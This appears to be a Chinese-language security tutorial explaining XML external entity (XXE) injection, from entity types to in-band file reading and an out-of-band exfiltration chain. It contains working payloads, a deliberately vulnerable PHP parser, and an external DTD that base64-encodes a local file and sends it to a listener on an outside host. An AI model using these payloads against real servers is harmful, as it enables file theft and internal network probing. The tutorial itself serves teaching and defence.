基础知识
XXE: XML External Entity
Entity是XML的存储单元,可以看做XML的一个变量,定义在DTD(Document Type Definition)中。
Entity分为内部实体和外部实体。
1. 内部实体的作用是用来存储指定数值,分为通用实体,参数实体,预定义实体。
(1)通用实体:在DTD定义之后会被xml的节点引用。示例如下:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE Person [<!ENTITY name "John"> ]> <Person> <Name>&name;</Name> <Age>10</Age> </Person>
(2)参数实体:必须定义在单独的DTD区域,可用一个entity给另一个entity赋值。
(3)预定义实体:预定义某种符号来代替尖括号、引号等(因为xml在解析带尖括号的内容时会报错)
2. 外部实体:
指从本地文件或者远程网络调用相关数据,作为后续实体引用,外部实体定义时有SYSTEM关键字。示例如下:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [ <!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]> <creds>&goodies;</creds>
利用原理
XXE在引入外部实体时,支持引用文件和URL。将文件路径换成服务器敏感文件路径,如:/etc/password,从而获取服务器敏感信息;通过读取 /etc/network/interfaces,/etc/host等文件进行内网主机/端口探测(SSRF)。
利用方式
外部实体注入攻击常见的两种类型:In-band和OOB。
1. In-band:xml加载外部数据后会直接将输出显示在屏幕上(输出直接回显)
写一段php代码(xml.php)用来显示xml的解析结果
<?php libxml_disable_entity_loader (false); $xmlfile = file_get_contents('xmldom-1.txt'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); echo $creds; ?>
xmldom-1.txt中引用了外部实体(这里是读取文件)
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [ <!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]> <creds>&goodies;</creds>
解析结果:
2. out-of-band(OOB):无任何输出响应(盲注),必须执行带外请求来把目标数据提取出来(利用nc提取输出)
xml.php
<?php libxml_disable_entity_loader (false); $xmlfile = file_get_contents('xmldom-3.txt'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); //echo $creds; ?>
xmldom-3.txt
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://testhost:8082/evil-3.dtd"> %remote;%int;%send; ]>
evil-3.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip地址:1234?p=%file;'>">
用nc监听1234端口,服务器收到了base64编码后的system.ini文件的内容
防御方法
禁用外部实体
如需转载,请注明出处,这是对他人劳动成果的尊重~